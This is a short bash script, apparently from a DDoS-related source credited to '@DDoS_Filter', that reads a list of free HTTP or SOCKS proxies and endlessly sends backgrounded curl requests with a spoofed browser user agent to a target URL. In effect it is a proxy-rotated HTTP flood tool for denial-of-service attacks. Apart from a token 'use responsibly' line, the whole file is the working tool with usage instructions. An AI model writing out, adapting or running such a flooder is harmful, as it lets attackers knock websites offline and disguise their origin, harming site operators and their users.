http_proxy_request_sender

#!/bin/bash
# USE THIS TOOL RESPONSIBLY AT YOUR OWN RISK!
# Go to https://www.freeproxychecker.com/ for free proxies!
# http_proxy_request_sender.sh v2.0
# Coded by DSTAT @DDoS_Filter
# Proxy list format: ip:port
# Proxy list must be in unix LF new line format, (\n)
# Script must be saved in unix LF new line format, (\n)
# Script must be executable, command: chmod +x http_proxy_request_sender.sh
# Curl must be installed!
# Ubuntu: apt install curl
# CentOS: yum install curl

if [ "$#" -ne 5 ]; then
    echo
    echo $0 "by @DDoS_Filter (DSTAT)"
    echo "Usage"
    echo $0 [http://example.com/] [Sleep] [Timeout] [/proxy/list.txt] [Protocol]
    echo Protocols: http, socks4, socks5
    echo ctrl + c to stop script.
    echo
else
    if [ "$5" = "http" ]; then
        proto="-x"
    elif [ "$5" = "socks4" ]; then
        proto="--socks4"
    elif [ "$5" = "socks5" ]; then
        proto="--socks5"
    else
        echo Invalid Protocol.
        echo Protocols:
        echo http, socks4, socks5
        exit
    fi
    if [ ! -f $4 ]; then
        echo Proxy list not found!
        exit
    fi
    echo Sending Requests!
    while true; do
        ((j++))
        while read -r line || [[ -n "$line" ]]; do
                curl -s -o /dev/null -m $3 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" $proto $line $1 & > /dev/null;
            sleep $2;
        done < "$4"
        echo Finished List $j Times
    done
fi